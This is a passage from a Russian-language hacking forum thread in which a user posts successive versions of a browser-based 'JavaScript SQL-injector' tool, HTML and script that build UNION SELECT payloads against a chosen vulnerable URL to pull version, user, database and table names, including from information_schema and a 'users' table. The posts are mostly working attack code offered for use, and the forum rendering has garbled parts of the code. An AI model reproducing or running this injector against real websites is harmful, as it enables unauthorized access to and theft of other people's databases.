         
    get_url(f)
    }

    function 
    changePage(p) { 
            
    document.getElementById"ifrm" ).src p
         } 

    </script> 
    <form name=search method=post> 
      <label>Ведите путь до уязвимого скрипта 
      <input name="url" value="http://" size=110%> 
      </label><br> 
      параметр: <input size=5 name=parametr value="-1">
      разделитель: <select name=separator>
                  <option value=0 selected>+
                  <option value=1>/**/
                  <option value=2>пробел
                  </select>
      колонок: <input size=5 name=colum>
      <input onClick=inc(search); type=button value="+" name=calculateit>
      <input onClick=dec(search); type=button value="-" name=calculateit>
      <input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
      текущее значение: <input name=tek_url size=110% readonly>

    </form> 
    <body onload="changePage()"> 
        <iframe id="ifrm" src="" width="100%" height="500%"/> 
      </body> 

    </html> 
    Пример:
    Вводим, например, Колонок:3 и нажимаем ОК, далее делаем инкремент (жмякаем "+") 3 раза -> получаем вывод полей. (всего 6 столбцов)

    В планах:
    - вывод полезной инфы из отображаемого столбца (user(), version() и т.д.)
    - подстановка в запрос имён таблиц и столбцов из словаря (списка).
     
    #17 -=lebed=-, 23 Oct 2007
    Last edited: 23 Oct 2007
  18. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Новая версия! (alpha 0.03)
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
    <
    html xmlns="http://www.w3.org/1999/xhtml"
    <
    style>  
      
    body  
      
    {   
       
    padding:10px;   
       
    background:#2A2E33;   
       
    font-family:tahomaverdanaarial;   
       
    font-size:14px;   
       
    text-align:center;   
       
    color:#B9B9BD;   
      
    }  
      
    form  
      
    {   
       
    padding:10px;  
       
    border:1px solid #666;   
       
    width:700px;   
       
    margin:0 auto;   
      } 
      
    iframe 
      
    {   
       
    padding:10px;  
       
    border:1px solid #666;   
       
    width:700px
       
    height:500px;   
       
    margin:0 auto;   
      }  
      
    input  
      
    {   
       
    vertical-align:middle;   
       
    margin:1px 0;   
       
    padding-right:10px;   
       
    border:1px solid #336600; 
       
    padding:2px;   
       
    background:#363940;   
       
    color:#B9B9BD;   
      

      
    div  
      
    {   
      
    display:none;   
      }     
      </
    style>  
    <
    head
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <
    title>JavaScript SQL-injector by -=lebed=-</title
    </
    head

    <
    script
    var 
    sp = new Array(); /*сепаратор.*/
    sp[0]="+";
    sp[1]="/**/";
    sp[2]=" ";

    var 
    end =new Array(); /*комментарий (коцовка)*/
    end[0]="/*";
    end[1]="--";

    var 
    limit =new Array(); /*limit*/
    limit[0]="";
    for (
    i=1100i++) {limit[i]=i;}

    var 
    tables_name =new Array(); /*имена таблиц*/
    tables_name[0]="";
    tables_name[1]="information_schema.tables";
    tables_name[2]="users";


    = new Array()
    for (
    i=1100i++) {
       
    t[i] = new Array() 
       
    t[i][0] = i;
       
    t[i][1] = "version()";
       
    t[i][2] = "user()";
       
    t[i][3] = "database()";
       
    t[i][4] = "concat(version(),0x3a,user(),0x3a,database())";
       
    t[i][5] = "table_name";
       
    }


    var 
    url="http://"/*целевой URL*/
    var tek_url=url/*текуший URI*/
    var s=""/*накопитель*/
    var n=0
    var 
    m=0;


    function 
    get_url(f) {
          
    url=document.search.url.value;
          
    n=1;    
          
    b=document.search.separator.value;
          
    p=document.search.parametr.value;
          
    stlb=document.search.stolbec.value;
          
    tabl=tables_name[document.search.n_table.value];
          
    lm=limit[document.search.limit_n.value]
          
          if (
    stlb!=1)
          {
    s=t[n][0]}
          else {
    s=t[n][document.search.output.value];}
    while (
    n<document.search.colum.value)
          {
          
    n++;
          if (
    n!=stlb) {m=0;}
          else {
    m=document.search.output.value;}
          
          if (
    n==1) {s=t[n][document.search.output.value];} 
          else {
    s=s+","+t[n][m];}
           
          }
          
          if (
    document.search.n_table.value!=0)
          {
    tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];}  
          
          if (
    document.search.limit_n.value!=0)
          {
    lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";} 
          
          
    tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value];
          
    document.search.tek_url.value=tek_url
          
    document.search.colum.value=n;     
          
    changePage(tek_url); 
          
    pause (); 
    }

    function 
    inc(f) {
        
    document.search.colum.value++
        
    get_url(f)
    }
         
    function 
    dec(f) {
         
    document.search.colum.value--
         
    get_url(f)
    }

    function 
    changePage(p) { 
            
    document.getElementById"ifrm" ).src p
         } 

    </script> 
    <form name=search method=post> 
      <label>Ведите путь до уязвимого скрипта 
      <input name="url" value="http://" size=110%> 
      </label><br> 
      параметр: <input size=5 name=parametr value="-1">
      разделитель: <select name=separator>
                  <option value=0 selected>+
                  <option value=1>/**/
                  <option value=2>пробел
                  </select>
      лимит: <select name=limit_n>
                  <option value=0 selected>?
                  <option value=1>1
                  <option value=2>2
                  <option value=3>3
                  <option value=4>4
                  <option value=5>5
                  <option value=6>6
                  <option value=7>7
                  <option value=8>8
                  <option value=9>9
                  <option value=10>10
                  <option value=11>11
                  <option value=12>12
                  <option value=13>13
                  <option value=14>14
                  <option value=15>15
                  <option value=16>16
                  <option value=17>17
                  <option value=18>18
                  <option value=19>19
                  <option value=20>20
                  </select>          
       комментарий: <select name=end_of value=0>
                  <option value=0 selected>/*
                  <option value=1>--
                  </select>
                  
      колонок: <input size=5 name=colum>
      <input onClick=inc(search); type=button value="+" name=calculateit>
      <input onClick=dec(search); type=button value="-" name=calculateit>
      <input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
      Вывод: <select name=output>
                  <option value=0 selected>цифры1,2,3...
                  <option value=1>version()
                  <option value=2>user()
                  <option value=3>database()
                  <option value=4>concat(version(),user(),database())
                  <option value=5>table_name
                  </select> 
      В столбец №: <input size=5 name=stolbec value=1>
      из: <select name=n_table value=0>
                  <option value=0 selected>?
                  <option value=1>information_schema.tables
                   <option value=2>users
                  </select>
      <br>
      текущее значение: <input name=tek_url size=110% readonly>

    </form> 
    <body onload="changePage()"> 
        <iframe id="ifrm" src="" width="100%" height="500%"/> 
      </body> 

    </html> 

    Добавлено:
    - вывод полезной инфы в отображаемый столбец.
    - добавлена возможность использовать LIMIT
    - добавлена работа с INFORMATION_SCHEMA
    В Планах:
    - наращивание функционала;
    - пополнение списка имён таблиц и названий колонок

    Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).
     
    #18 -=lebed=-, 30 Oct 2007
    Last edited: 30 Oct 2007
    1 person likes this.